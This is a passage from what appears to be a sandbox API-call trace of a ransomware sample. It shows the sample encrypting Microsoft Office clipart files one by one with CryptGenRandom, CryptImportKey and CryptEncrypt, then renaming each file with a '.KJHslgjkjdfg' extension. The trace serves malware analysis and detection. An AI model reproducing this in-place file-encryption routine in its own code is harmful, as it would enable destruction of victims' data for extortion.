returned 1 [0157.963] GetProcessHeap () returned 0x2a0000 [0157.963] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0157.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.kjhslgjkjdfg")) returned 1 [0157.964] CloseHandle (hObject=0x114) returned 1 [0157.964] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0157.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0157.965] GetProcessHeap () returned 0x2a0000 [0157.965] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0157.965] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0157.965] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0157.965] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0157.967] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.968] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.968] GetProcessHeap () returned 0x2a0000 [0157.968] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0157.968] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0157.968] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.968] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0157.968] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0157.968] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0157.968] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0157.968] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0157.968] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0157.968] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.968] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.969] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.969] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xdc4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xdc4, lpOverlapped=0x0) returned 1 [0157.969] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xdd0) returned 1 [0157.969] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.969] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xdd0, lpOverlapped=0x0) returned 1 [0157.969] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.969] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.969] SetEndOfFile (hFile=0x114) returned 1 [0157.972] GetProcessHeap () returned 0x2a0000 [0157.972] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0157.972] GetProcessHeap () returned 0x2a0000 [0157.972] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0157.972] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.kjhslgjkjdfg")) returned 1 [0157.973] CloseHandle (hObject=0x114) returned 1 [0157.973] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0157.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0157.974] GetProcessHeap () returned 0x2a0000 [0157.974] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0157.974] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0157.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0157.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0157.976] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.976] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.976] GetProcessHeap () returned 0x2a0000 [0157.976] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0157.976] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0157.976] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.976] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0157.976] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0157.977] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0157.977] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0157.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0157.977] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0157.977] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.977] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.977] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9b8, lpOverlapped=0x0) returned 1 [0157.977] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9c0) returned 1 [0157.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.978] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9c0, lpOverlapped=0x0) returned 1 [0157.978] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.978] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.978] SetEndOfFile (hFile=0x114) returned 1 [0157.981] GetProcessHeap () returned 0x2a0000 [0157.981] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0157.981] GetProcessHeap () returned 0x2a0000 [0157.981] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0157.981] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.kjhslgjkjdfg")) returned 1 [0157.982] CloseHandle (hObject=0x114) returned 1 [0157.982] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0157.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0157.983] GetProcessHeap () returned 0x2a0000 [0157.983] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0157.983] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0157.983] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0157.983] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0157.985] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.985] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.985] GetProcessHeap () returned 0x2a0000 [0157.985] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0157.985] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0157.985] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.985] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0157.985] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0157.986] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0157.986] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0157.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0157.986] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0157.986] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.986] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.986] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x68c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x68c, lpOverlapped=0x0) returned 1 [0157.986] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x690, dwBufLen=0x690 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x690) returned 1 [0157.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.986] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x690, lpOverlapped=0x0) returned 1 [0157.986] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.986] SetEndOfFile (hFile=0x114) returned 1 [0157.989] GetProcessHeap () returned 0x2a0000 [0157.989] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0157.989] GetProcessHeap () returned 0x2a0000 [0157.989] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0157.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.kjhslgjkjdfg")) returned 1 [0157.990] CloseHandle (hObject=0x114) returned 1 [0157.990] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0157.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0157.993] GetProcessHeap () returned 0x2a0000 [0157.993] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0157.993] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0157.993] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0157.993] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0157.996] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.996] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.996] GetProcessHeap () returned 0x2a0000 [0157.996] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0157.996] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0157.996] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.997] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0157.997] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0157.997] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0157.997] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0157.997] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0157.997] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0157.997] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.997] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.997] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.997] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf38, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf38, lpOverlapped=0x0) returned 1 [0157.998] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf40, dwBufLen=0xf40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf40) returned 1 [0157.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.998] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf40, lpOverlapped=0x0) returned 1 [0157.998] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.998] SetEndOfFile (hFile=0x114) returned 1 [0158.000] GetProcessHeap () returned 0x2a0000 [0158.000] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.000] GetProcessHeap () returned 0x2a0000 [0158.001] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.001] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.kjhslgjkjdfg")) returned 1 [0158.002] CloseHandle (hObject=0x114) returned 1 [0158.002] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0158.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, 